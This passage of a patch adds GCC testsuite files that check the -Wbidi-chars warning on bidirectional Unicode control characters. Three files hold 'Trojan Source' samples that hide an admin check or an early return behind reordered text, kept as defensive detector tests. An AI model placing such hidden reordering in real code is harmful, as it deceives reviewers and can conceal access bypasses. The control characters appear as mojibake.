++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++int RLI_\u2067_RLI_\u2067_RLI_\u2067_RLI_\u2067_FSI_\u2068_PDI_\u2069_PDI_\u2069_PDI_\u2069_PDI_\u2069;
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
+diff --git a/gcc/testsuite/c-c++-common/Wbidi-chars-11.c b/gcc/testsuite/c-c++-common/Wbidi-chars-11.c
+new file mode 100644
+index 00000000000..270ce2368a9
+--- /dev/null
++++ b/gcc/testsuite/c-c++-common/Wbidi-chars-11.c
+@@ -0,0 +1,13 @@
++/* PR preprocessor/103026 */
++/* { dg-do compile } */
++/* { dg-options "-Wbidi-chars=unpaired" } */
++/* Test that we warn when mixing UCN and UTF-8. */
++
++int LRE_âª_PDF_\u202c;
++/* { dg-warning "mismatch" "" { target *-*-* } .-1 } */
++int LRE_\u202a_PDF_â¬_;
++/* { dg-warning "mismatch" "" { target *-*-* } .-1 } */
++const char *s1 = "LRE_âª_PDF_\u202c";
++/* { dg-warning "mismatch" "" { target *-*-* } .-1 } */
++const char *s2 = "LRE_\u202a_PDF_â¬";
++/* { dg-warning "mismatch" "" { target *-*-* } .-1 } */
+diff --git a/gcc/testsuite/c-c++-common/Wbidi-chars-12.c b/gcc/testsuite/c-c++-common/Wbidi-chars-12.c
+new file mode 100644
+index 00000000000..b07eec1da91
+--- /dev/null
++++ b/gcc/testsuite/c-c++-common/Wbidi-chars-12.c
+@@ -0,0 +1,19 @@
++/* PR preprocessor/103026 */
++/* { dg-do compile { target { c || c++11 } } } */
++/* { dg-options "-Wbidi-chars=any" } */
++/* Test raw strings. */
++
++const char *s1 = R"(a b c LRE⪠1 2 3 PDF⬠x y z)";
++/* { dg-warning "U\\+202A" "" { target *-*-* } .-1 } */
++const char *s2 = R"(a b c RLE⫠1 2 3 PDF⬠x y z)";
++/* { dg-warning "U\\+202B" "" { target *-*-* } .-1 } */
++const char *s3 = R"(a b c LRO⭠1 2 3 PDF⬠x y z)";
++/* { dg-warning "U\\+202D" "" { target *-*-* } .-1 } */
++const char *s4 = R"(a b c RLO⮠1 2 3 PDF⬠x y z)";
++/* { dg-warning "U\\+202E" "" { target *-*-* } .-1 } */
++const char *s7 = R"(a b c FSI⨠1 2 3 PDI⩠x y) z";
++/* { dg-warning "U\\+2068" "" { target *-*-* } .-1 } */
++const char *s8 = R"(a b c PDIâ© x y )z";
++/* { dg-warning "U\\+2069" "" { target *-*-* } .-1 } */
++const char *s9 = R"(a b c PDF⬠x y z)";
++/* { dg-warning "U\\+202C" "" { target *-*-* } .-1 } */
+diff -uprN '-x*.orig' '-x*.rej' del/gcc-11.2.0/gcc/testsuite/c-c++-common/Wbidi-chars-13.c gcc-11.2.0/gcc/testsuite/c-c++-common/Wbidi-chars-13.c
+--- del/gcc-11.2.0/gcc/testsuite/c-c++-common/Wbidi-chars-13.c 1969-12-31 16:00:00.000000000 -0800
++++ gcc-11.2.0/gcc/testsuite/c-c++-common/Wbidi-chars-13.c 2021-12-13 23:11:22.328439287 -0800
+@@ -0,0 +1,17 @@
++/* PR preprocessor/103026 */
++/* { dg-do compile { target { c || c++11 } } } */
++/* { dg-options "-Wbidi-chars=unpaired" } */
++/* Test raw strings. */
++
++const char *s1 = R"(a b c LRE⪠1 2 3)";
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++const char *s2 = R"(a b c RLEâ« 1 2 3)";
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++const char *s3 = R"(a b c LROâ­ 1 2 3)";
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++const char *s4 = R"(a b c FSI⨠1 2 3)";
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++const char *s5 = R"(a b c LRI⦠1 2 3)";
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++const char *s6 = R"(a b c RLI⧠1 2 3)";
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
+diff --git a/gcc/testsuite/c-c++-common/Wbidi-chars-14.c b/gcc/testsuite/c-c++-common/Wbidi-chars-14.c
+new file mode 100644
+index 00000000000..ba5f75d9553
+--- /dev/null
++++ b/gcc/testsuite/c-c++-common/Wbidi-chars-14.c
+@@ -0,0 +1,38 @@
++/* PR preprocessor/103026 */
++/* { dg-do compile } */
++/* { dg-options "-Wbidi-chars=unpaired" } */
++/* Test PDI handling, which also pops any subsequent LREs, RLEs, LROs,
++ or RLOs. */
++
++/* LRI_â¦_LRI_â¦_RLE_â«_RLE_â«_RLE_â«_PDI_â©*/
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++// LRI_â¦_RLE_â«_RLE_â«_RLE_â«_PDI_â©
++// LRI_â¦_RLO_â®_RLE_â«_RLE_â«_PDI_â©
++// LRI_â¦_RLO_â®_RLE_â«_PDI_â©
++// FSI_â¨_RLO_â®_PDI_â©
++// FSI_â¨_FSI_â¨_RLO_â®_PDI_â©
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++
++int LRI_\u2066_LRI_\u2066_LRE_\u202a_LRE_\u202a_LRE_\u202a_PDI_\u2069;
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++int LRI_\u2066_LRI_\u2066_LRE_\u202a_LRE_\u202a_LRE_\u202a_PDI_\u2069_PDI_\u2069;
++int LRI_\u2066_LRI_\u2066_LRI_\u2066_LRE_\u202a_LRE_\u202a_LRE_\u202a_PDI_\u2069_PDI_\u2069;
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++int PDI_\u2069;
++int LRI_\u2066_PDI_\u2069;
++int RLI_\u2067_PDI_\u2069;
++int LRE_\u202a_LRI_\u2066_PDI_\u2069;
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++int LRI_\u2066_LRE_\u202a_PDF_\u202c_PDI_\u2069;
++int LRI_\u2066_LRE_\u202a_LRE_\u202a_PDF_\u202c_PDI_\u2069;
++int RLI_\u2067_LRI_\u2066_LRE_\u202a_LRE_\u202a_PDF_\u202c_PDI_\u2069;
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++int FSI_\u2068_LRI_\u2066_LRE_\u202a_LRE_\u202a_PDF_\u202c_PDI_\u2069;
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++int RLO_\u202e_PDI_\u2069;
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++int RLI_\u2067_PDI_\u2069_RLI_\u2067;
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++int FSI_\u2068_PDF_\u202c_PDI_\u2069;
++int FSI_\u2068_FSI_\u2068_PDF_\u202c_PDI_\u2069;
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
+diff --git a/gcc/testsuite/c-c++-common/Wbidi-chars-15.c b/gcc/testsuite/c-c++-common/Wbidi-chars-15.c
+new file mode 100644
+index 00000000000..a0ce8ff5e2c
+--- /dev/null
++++ b/gcc/testsuite/c-c++-common/Wbidi-chars-15.c
+@@ -0,0 +1,59 @@
++/* PR preprocessor/103026 */
++/* { dg-do compile } */
++/* { dg-options "-Wbidi-chars=unpaired" } */
++/* Test unpaired bidi control chars in multiline comments. */
++
++/*
++ * LRE⪠end
++ */
++/* { dg-warning "unpaired" "" { target *-*-* } .-2 } */
++/*
++ * RLEâ« end
++ */
++/* { dg-warning "unpaired" "" { target *-*-* } .-2 } */
++/*
++ * LROâ­ end
++ */
++/* { dg-warning "unpaired" "" { target *-*-* } .-2 } */
++/*
++ * RLOâ® end
++ */
++/* { dg-warning "unpaired" "" { target *-*-* } .-2 } */
++/*
++ * LRI⦠end
++ */
++/* { dg-warning "unpaired" "" { target *-*-* } .-2 } */
++/*
++ * RLI⧠end
++ */
++/* { dg-warning "unpaired" "" { target *-*-* } .-2 } */
++/*
++ * FSI⨠end
++ */
++/* { dg-warning "unpaired" "" { target *-*-* } .-2 } */
++/* LREâª
++ PDF⬠*/
++/* { dg-warning "unpaired" "" { target *-*-* } .-2 } */
++/* FSIâ¨
++ PDIâ© */
++/* { dg-warning "unpaired" "" { target *-*-* } .-2 } */
++
++/* LRE<âª>
++ *
++ */
++/* { dg-warning "unpaired" "" { target *-*-* } .-3 } */
++
++/*
++ * LRE<âª>
++ */
++/* { dg-warning "unpaired" "" { target *-*-* } .-2 } */
++
++/*
++ *
++ * LRE<âª> */
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++
++/* RLI<â§> */ /* PDI<â©> */
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++/* LRE<âª> */ /* PDF<â¬> */
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
+diff --git a/gcc/testsuite/c-c++-common/Wbidi-chars-16.c b/gcc/testsuite/c-c++-common/Wbidi-chars-16.c
+new file mode 100644
+index 00000000000..baa0159861c
+--- /dev/null
++++ b/gcc/testsuite/c-c++-common/Wbidi-chars-16.c
+@@ -0,0 +1,26 @@
++/* PR preprocessor/103026 */
++/* { dg-do compile } */
++/* { dg-options "-Wbidi-chars=any" } */
++/* Test LTR/RTL chars. */
++
++/* LTR<â> */
++/* { dg-warning "U\\+200E" "" { target *-*-* } .-1 } */
++// LTR<â>
++/* { dg-warning "U\\+200E" "" { target *-*-* } .-1 } */
++/* RTL<â> */
++/* { dg-warning "U\\+200F" "" { target *-*-* } .-1 } */
++// RTL<â>
++/* { dg-warning "U\\+200F" "" { target *-*-* } .-1 } */
++
++const char *s1 = "LTR<â>";
++/* { dg-warning "U\\+200E" "" { target *-*-* } .-1 } */
++const char *s2 = "LTR\u200e";
++/* { dg-warning "U\\+200E" "" { target *-*-* } .-1 } */
++const char *s3 = "LTR\u200E";
++/* { dg-warning "U\\+200E" "" { target *-*-* } .-1 } */
++const char *s4 = "RTL<â>";
++/* { dg-warning "U\\+200F" "" { target *-*-* } .-1 } */
++const char *s5 = "RTL\u200f";
++/* { dg-warning "U\\+200F" "" { target *-*-* } .-1 } */
++const char *s6 = "RTL\u200F";
++/* { dg-warning "U\\+200F" "" { target *-*-* } .-1 } */
+diff --git a/gcc/testsuite/c-c++-common/Wbidi-chars-17.c b/gcc/testsuite/c-c++-common/Wbidi-chars-17.c
+new file mode 100644
+index 00000000000..07cb4321f96
+--- /dev/null
++++ b/gcc/testsuite/c-c++-common/Wbidi-chars-17.c
+@@ -0,0 +1,30 @@
++/* PR preprocessor/103026 */
++/* { dg-do compile } */
++/* { dg-options "-Wbidi-chars=unpaired" } */
++/* Test LTR/RTL chars. */
++
++/* LTR<â> */
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++// LTR<â>
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++/* RTL<â> */
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++// RTL<â>
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++int ltr_\u200e;
++/* { dg-error "universal character " "" { target *-*-* } .-1 } */
++int rtl_\u200f;
++/* { dg-error "universal character " "" { target *-*-* } .-1 } */
++
++const char *s1 = "LTR<â>";
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++const char *s2 = "LTR\u200e";
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++const char *s3 = "LTR\u200E";
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++const char *s4 = "RTL<â>";
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++const char *s5 = "RTL\u200f";
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++const char *s6 = "RTL\u200F";
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
+diff --git a/gcc/testsuite/c-c++-common/Wbidi-chars-1.c b/gcc/testsuite/c-c++-common/Wbidi-chars-1.c
+new file mode 100644
+index 00000000000..2340374f276
+--- /dev/null
++++ b/gcc/testsuite/c-c++-common/Wbidi-chars-1.c
+@@ -0,0 +1,12 @@
++/* PR preprocessor/103026 */
++/* { dg-do compile } */
++
++int main() {
++ int isAdmin = 0;
++ /*â® } â¦if (isAdmin)⩠⦠begin admins only */
++/* { dg-warning "bidirectional" "" { target *-*-* } .-1 } */
++ __builtin_printf("You are an admin.\n");
++ /* end admins only â® { â¦*/
++/* { dg-warning "bidirectional" "" { target *-*-* } .-1 } */
++ return 0;
++}
+diff --git a/gcc/testsuite/c-c++-common/Wbidi-chars-2.c b/gcc/testsuite/c-c++-common/Wbidi-chars-2.c
+new file mode 100644
+index 00000000000..2340374f276
+--- /dev/null
++++ b/gcc/testsuite/c-c++-common/Wbidi-chars-2.c
+@@ -0,0 +1,9 @@
++/* PR preprocessor/103026 */
++/* { dg-do compile } */
++
++int main() {
++ /* Say hello; newlineâ§/*/ return 0 ;
++/* { dg-warning "bidirectional" "" { target *-*-* } .-1 } */
++ __builtin_printf("Hello world.\n");
++ return 0;
++}
+diff --git a/gcc/testsuite/c-c++-common/Wbidi-chars-3.c b/gcc/testsuite/c-c++-common/Wbidi-chars-3.c
+new file mode 100644
+index 00000000000..9dc7edb6e64
+--- /dev/null
++++ b/gcc/testsuite/c-c++-common/Wbidi-chars-3.c
+@@ -0,0 +1,11 @@
++/* PR preprocessor/103026 */
++/* { dg-do compile } */
++
++int main() {
++ const char* access_level = "user";
++ if (__builtin_strcmp(access_level, "userâ® â¦// Check if adminâ© â¦")) {
++/* { dg-warning "bidirectional" "" { target *-*-* } .-1 } */
++ __builtin_printf("You are an admin.\n");
++ }
++ return 0;
++}
+diff --git a/gcc/testsuite/c-c++-common/Wbidi-chars-4.c b/gcc/testsuite/c-c++-common/Wbidi-chars-4.c
+new file mode 100644
+index 00000000000..639e5c62e88
+--- /dev/null
++++ b/gcc/testsuite/c-c++-common/Wbidi-chars-4.c
+@@ -0,0 +1,188 @@
++/* PR preprocessor/103026 */
++/* { dg-do compile } */
++/* { dg-options "-Wbidi-chars=any -Wno-multichar -Wno-overflow" } */
++/* Test all bidi chars in various contexts (identifiers, comments,
++ string literals, character constants), both UCN and UTF-8. The bidi
++ chars here are properly terminated, except for the character constants. */
++
++/* a b c LRE⪠1 2 3 PDF⬠x y z */
++/* { dg-warning "U\\+202A" "" { target *-*-* } .-1 } */
++/* a b c RLE⫠1 2 3 PDF⬠x y z */
++/* { dg-warning "U\\+202B" "" { target *-*-* } .-1 } */
++/* a b c LRO⭠1 2 3 PDF⬠x y z */
++/* { dg-warning "U\\+202D" "" { target *-*-* } .-1 } */
++/* a b c RLO⮠1 2 3 PDF⬠x y z */
++/* { dg-warning "U\\+202E" "" { target *-*-* } .-1 } */
++/* a b c LRI⦠1 2 3 PDI⩠x y z */
++/* { dg-warning "U\\+2066" "" { target *-*-* } .-1 } */
++/* a b c RLI⧠1 2 3 PDI⩠x y */
++/* { dg-warning "U\\+2067" "" { target *-*-* } .-1 } */
++/* a b c FSI⨠1 2 3 PDI⩠x y z */
++/* { dg-warning "U\\+2068" "" { target *-*-* } .-1 } */
++
++/* Same but C++ comments instead. */
++// a b c LRE⪠1 2 3 PDF⬠x y z
++/* { dg-warning "U\\+202A" "" { target *-*-* } .-1 } */
++// a b c RLE⫠1 2 3 PDF⬠x y z
++/* { dg-warning "U\\+202B" "" { target *-*-* } .-1 } */
++// a b c LRO⭠1 2 3 PDF⬠x y z
++/* { dg-warning "U\\+202D" "" { target *-*-* } .-1 } */
++// a b c RLO⮠1 2 3 PDF⬠x y z
++/* { dg-warning "U\\+202E" "" { target *-*-* } .-1 } */
++// a b c LRI⦠1 2 3 PDI⩠x y z
++/* { dg-warning "U\\+2066" "" { target *-*-* } .-1 } */
++// a b c RLI⧠1 2 3 PDI⩠x y
++/* { dg-warning "U\\+2067" "" { target *-*-* } .-1 } */
++// a b c FSI⨠1 2 3 PDI⩠x y z
++/* { dg-warning "U\\+2068" "" { target *-*-* } .-1 } */
++
++/* Here we're closing an unopened context, warn when =any. */
++/* a b c PDIâ© x y z */
++/* { dg-warning "U\\+2069" "" { target *-*-* } .-1 } */
++/* a b c PDF⬠x y z */
++/* { dg-warning "U\\+202C" "" { target *-*-* } .-1 } */
++// a b c PDIâ© x y z
++/* { dg-warning "U\\+2069" "" { target *-*-* } .-1 } */
++// a b c PDF⬠x y z
++/* { dg-warning "U\\+202C" "" { target *-*-* } .-1 } */
++
++/* Multiline comments. */
++/* a b c PDIâ© x y z
++ */
++/* { dg-warning "U\\+2069" "" { target *-*-* } .-2 } */
++/* a b c PDF⬠x y z
++ */
++/* { dg-warning "U\\+202C" "" { target *-*-* } .-2 } */
++/* first
++ a b c PDIâ© x y z
++ */
++/* { dg-warning "U\\+2069" "" { target *-*-* } .-2 } */
++/* first
++ a b c PDF⬠x y z
++ */
++/* { dg-warning "U\\+202C" "" { target *-*-* } .-2 } */
++/* first
++ a b c PDIâ© x y z */
++/* { dg-warning "U\\+2069" "" { target *-*-* } .-1 } */
++/* first
++ a b c PDF⬠x y z */
++/* { dg-warning "U\\+202C" "" { target *-*-* } .-1 } */
++
++void
++g1 ()
++{
++ const char *s1 = "a b c LRE⪠1 2 3 PDF⬠x y z";
++/* { dg-warning "U\\+202A" "" { target *-*-* } .-1 } */
++ const char *s2 = "a b c RLE⫠1 2 3 PDF⬠x y z";
++/* { dg-warning "U\\+202B" "" { target *-*-* } .-1 } */
++ const char *s3 = "a b c LRO⭠1 2 3 PDF⬠x y z";
++/* { dg-warning "U\\+202D" "" { target *-*-* } .-1 } */
++ const char *s4 = "a b c RLO⮠1 2 3 PDF⬠x y z";
++/* { dg-warning "U\\+202E" "" { target *-*-* } .-1 } */
++ const char *s5 = "a b c LRI⦠1 2 3 PDI⩠x y z";
++/* { dg-warning "U\\+2066" "" { target *-*-* } .-1 } */
++ const char *s6 = "a b c RLI⧠1 2 3 PDI⩠x y z";
++/* { dg-warning "U\\+2067" "" { target *-*-* } .-1 } */
++ const char *s7 = "a b c FSI⨠1 2 3 PDI⩠x y z";
++/* { dg-warning "U\\+2068" "" { target *-*-* } .-1 } */
++ const char *s8 = "a b c PDIâ© x y z";
++/* { dg-warning "U\\+2069" "" { target *-*-* } .-1 } */
++ const char *s9 = "a b c PDF⬠x y z";
++/* { dg-warning "U\\+202C" "" { target *-*-* } .-1 } */
++
++ const char *s10 = "a b c LRE\u202a 1 2 3 PDF\u202c x y z";
++/* { dg-warning "U\\+202A" "" { target *-*-* } .-1 } */
++ const char *s11 = "a b c LRE\u202A 1 2 3 PDF\u202c x y z";
++/* { dg-warning "U\\+202A" "" { target *-*-* } .-1 } */
++ const char *s12 = "a b c RLE\u202b 1 2 3 PDF\u202c x y z";
++/* { dg-warning "U\\+202B" "" { target *-*-* } .-1 } */
++ const char *s13 = "a b c RLE\u202B 1 2 3 PDF\u202c x y z";
++/* { dg-warning "U\\+202B" "" { target *-*-* } .-1 } */
++ const char *s14 = "a b c LRO\u202d 1 2 3 PDF\u202c x y z";
++/* { dg-warning "U\\+202D" "" { target *-*-* } .-1 } */
++ const char *s15 = "a b c LRO\u202D 1 2 3 PDF\u202c x y z";
++/* { dg-warning "U\\+202D" "" { target *-*-* } .-1 } */
++ const char *s16 = "a b c RLO\u202e 1 2 3 PDF\u202c x y z";
++/* { dg-warning "U\\+202E" "" { target *-*-* } .-1 } */
++ const char *s17 = "a b c RLO\u202E 1 2 3 PDF\u202c x y z";
++/* { dg-warning "U\\+202E" "" { target *-*-* } .-1 } */
++ const char *s18 = "a b c LRI\u2066 1 2 3 PDI\u2069 x y z";
++/* { dg-warning "U\\+2066" "" { target *-*-* } .-1 } */
++ const char *s19 = "a b c RLI\u2067 1 2 3 PDI\u2069 x y z";
++/* { dg-warning "U\\+2067" "" { target *-*-* } .-1 } */
++ const char *s20 = "a b c FSI\u2068 1 2 3 PDI\u2069 x y z";
++/* { dg-warning "U\\+2068" "" { target *-*-* } .-1 } */
++}
++
++void
++g2 ()
++{
++ const char c1 = '\u202a';
++/* { dg-warning "U\\+202A" "" { target *-*-* } .-1 } */
++ const char c2 = '\u202A';
++/* { dg-warning "U\\+202A" "" { target *-*-* } .-1 } */
++ const char c3 = '\u202b';
++/* { dg-warning "U\\+202B" "" { target *-*-* } .-1 } */
++ const char c4 = '\u202B';
++/* { dg-warning "U\\+202B" "" { target *-*-* } .-1 } */
++ const char c5 = '\u202d';
++/* { dg-warning "U\\+202D" "" { target *-*-* } .-1 } */
++ const char c6 = '\u202D';
++/* { dg-warning "U\\+202D" "" { target *-*-* } .-1 } */
++ const char c7 = '\u202e';
++/* { dg-warning "U\\+202E" "" { target *-*-* } .-1 } */
++ const char c8 = '\u202E';
++/* { dg-warning "U\\+202E" "" { target *-*-* } .-1 } */
++ const char c9 = '\u2066';
++/* { dg-warning "U\\+2066" "" { target *-*-* } .-1 } */
++ const char c10 = '\u2067';
++/* { dg-warning "U\\+2067" "" { target *-*-* } .-1 } */
++ const char c11 = '\u2068';
++/* { dg-warning "U\\+2068" "" { target *-*-* } .-1 } */
++}
++
++int aâªbâ¬c;
++/* { dg-warning "U\\+202A" "" { target *-*-* } .-1 } */
++int aâ«bâ¬c;
++/* { dg-warning "U\\+202B" "" { target *-*-* } .-1 } */
++int aâ­bâ¬c;
++/* { dg-warning "U\\+202D" "" { target *-*-* } .-1 } */
++int aâ®bâ¬c;
++/* { dg-warning "U\\+202E" "" { target *-*-* } .-1 } */
++int aâ¦bâ©c;
++/* { dg-warning "U\\+2066" "" { target *-*-* } .-1 } */
++int aâ§bâ©c;
++/* { dg-warning "U\\+2067" "" { target *-*-* } .-1 } */
++int aâ¨bâ©c;
++/* { dg-warning "U\\+2068" "" { target *-*-* } .-1 } */
++int Aâ¬X;
++/* { dg-warning "U\\+202C" "" { target *-*-* } .-1 } */
++int A\u202cY;
++/* { dg-warning "U\\+202C" "" { target *-*-* } .-1 } */
++int A\u202CY2;
++/* { dg-warning "U\\+202C" "" { target *-*-* } .-1 } */
++
++int d\u202ae\u202cf;
++/* { dg-warning "U\\+202A" "" { target *-*-* } .-1 } */
++int d\u202Ae\u202cf2;
++/* { dg-warning "U\\+202A" "" { target *-*-* } .-1 } */
++int d\u202be\u202cf;
++/* { dg-warning "U\\+202B" "" { target *-*-* } .-1 } */
++int d\u202Be\u202cf2;
++/* { dg-warning "U\\+202B" "" { target *-*-* } .-1 } */
++int d\u202de\u202cf;
++/* { dg-warning "U\\+202D" "" { target *-*-* } .-1 } */
++int d\u202De\u202cf2;
++/* { dg-warning "U\\+202D" "" { target *-*-* } .-1 } */
++int d\u202ee\u202cf;
++/* { dg-warning "U\\+202E" "" { target *-*-* } .-1 } */
++int d\u202Ee\u202cf2;
++/* { dg-warning "U\\+202E" "" { target *-*-* } .-1 } */
++int d\u2066e\u2069f;
++/* { dg-warning "U\\+2066" "" { target *-*-* } .-1 } */
++int d\u2067e\u2069f;
++/* { dg-warning "U\\+2067" "" { target *-*-* } .-1 } */
++int d\u2068e\u2069f;
++/* { dg-warning "U\\+2068" "" { target *-*-* } .-1 } */
++int X\u2069;
++/* { dg-warning "U\\+2069" "" { target *-*-* } .-1 } */
+diff --git a/gcc/testsuite/c-c++-common/Wbidi-chars-5.c b/gcc/testsuite/c-c++-common/Wbidi-chars-5.c
+new file mode 100644
+index 00000000000..68cb053144b
+--- /dev/null
++++ b/gcc/testsuite/c-c++-common/Wbidi-chars-5.c
+@@ -0,0 +1,188 @@
++/* PR preprocessor/103026 */
++/* { dg-do compile } */
++/* { dg-options "-Wbidi-chars=unpaired -Wno-multichar -Wno-overflow" } */
++/* Test all bidi chars in various contexts (identifiers, comments,
++ string literals, character constants), both UCN and UTF-8. The bidi
++ chars here are properly terminated, except for the character constants. */
++
++/* a b c LRE⪠1 2 3 PDF⬠x y z */
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++/* a b c RLE⫠1 2 3 PDF⬠x y z */
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++/* a b c LRO⭠1 2 3 PDF⬠x y z */
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++/* a b c RLO⮠1 2 3 PDF⬠x y z */
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++/* a b c LRI⦠1 2 3 PDI⩠x y z */
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++/* a b c RLI⧠1 2 3 PDI⩠x y */
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++/* a b c FSI⨠1 2 3 PDI⩠x y z */
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++
++/* Same but C++ comments instead. */
++// a b c LRE⪠1 2 3 PDF⬠x y z
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++// a b c RLE⫠1 2 3 PDF⬠x y z
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++// a b c LRO⭠1 2 3 PDF⬠x y z
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++// a b c RLO⮠1 2 3 PDF⬠x y z
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++// a b c LRI⦠1 2 3 PDI⩠x y z
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++// a b c RLI⧠1 2 3 PDI⩠x y
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++// a b c FSI⨠1 2 3 PDI⩠x y z
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++
++/* Here we're closing an unopened context, warn when =any. */
++/* a b c PDIâ© x y z */
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++/* a b c PDF⬠x y z */
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++// a b c PDIâ© x y z
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++// a b c PDF⬠x y z
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++
++/* Multiline comments. */
++/* a b c PDIâ© x y z
++ */
++/* { dg-bogus "unpaired" "" { target *-*-* } .-2 } */
++/* a b c PDF⬠x y z
++ */
++/* { dg-bogus "unpaired" "" { target *-*-* } .-2 } */
++/* first
++ a b c PDIâ© x y z
++ */
++/* { dg-bogus "unpaired" "" { target *-*-* } .-2 } */
++/* first
++ a b c PDF⬠x y z
++ */
++/* { dg-bogus "unpaired" "" { target *-*-* } .-2 } */
++/* first
++ a b c PDIâ© x y z */
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++/* first
++ a b c PDF⬠x y z */
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++
++void
++g1 ()
++{
++ const char *s1 = "a b c LRE⪠1 2 3 PDF⬠x y z";
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++ const char *s2 = "a b c RLE⫠1 2 3 PDF⬠x y z";
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++ const char *s3 = "a b c LRO⭠1 2 3 PDF⬠x y z";
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++ const char *s4 = "a b c RLO⮠1 2 3 PDF⬠x y z";
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++ const char *s5 = "a b c LRI⦠1 2 3 PDI⩠x y z";
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++ const char *s6 = "a b c RLI⧠1 2 3 PDI⩠x y z";
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++ const char *s7 = "a b c FSI⨠1 2 3 PDI⩠x y z";
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++ const char *s8 = "a b c PDIâ© x y z";
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++ const char *s9 = "a b c PDF⬠x y z";
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++
++ const char *s10 = "a b c LRE\u202a 1 2 3 PDF\u202c x y z";
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++ const char *s11 = "a b c LRE\u202A 1 2 3 PDF\u202c x y z";
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++ const char *s12 = "a b c RLE\u202b 1 2 3 PDF\u202c x y z";
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++ const char *s13 = "a b c RLE\u202B 1 2 3 PDF\u202c x y z";
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++ const char *s14 = "a b c LRO\u202d 1 2 3 PDF\u202c x y z";
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++ const char *s15 = "a b c LRO\u202D 1 2 3 PDF\u202c x y z";
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++ const char *s16 = "a b c RLO\u202e 1 2 3 PDF\u202c x y z";
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++ const char *s17 = "a b c RLO\u202E 1 2 3 PDF\u202c x y z";
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++ const char *s18 = "a b c LRI\u2066 1 2 3 PDI\u2069 x y z";
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++ const char *s19 = "a b c RLI\u2067 1 2 3 PDI\u2069 x y z";
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++ const char *s20 = "a b c FSI\u2068 1 2 3 PDI\u2069 x y z";
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++}
++
++void
++g2 ()
++{
++ const char c1 = '\u202a';
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++ const char c2 = '\u202A';
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++ const char c3 = '\u202b';
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++ const char c4 = '\u202B';
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++ const char c5 = '\u202d';
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++ const char c6 = '\u202D';
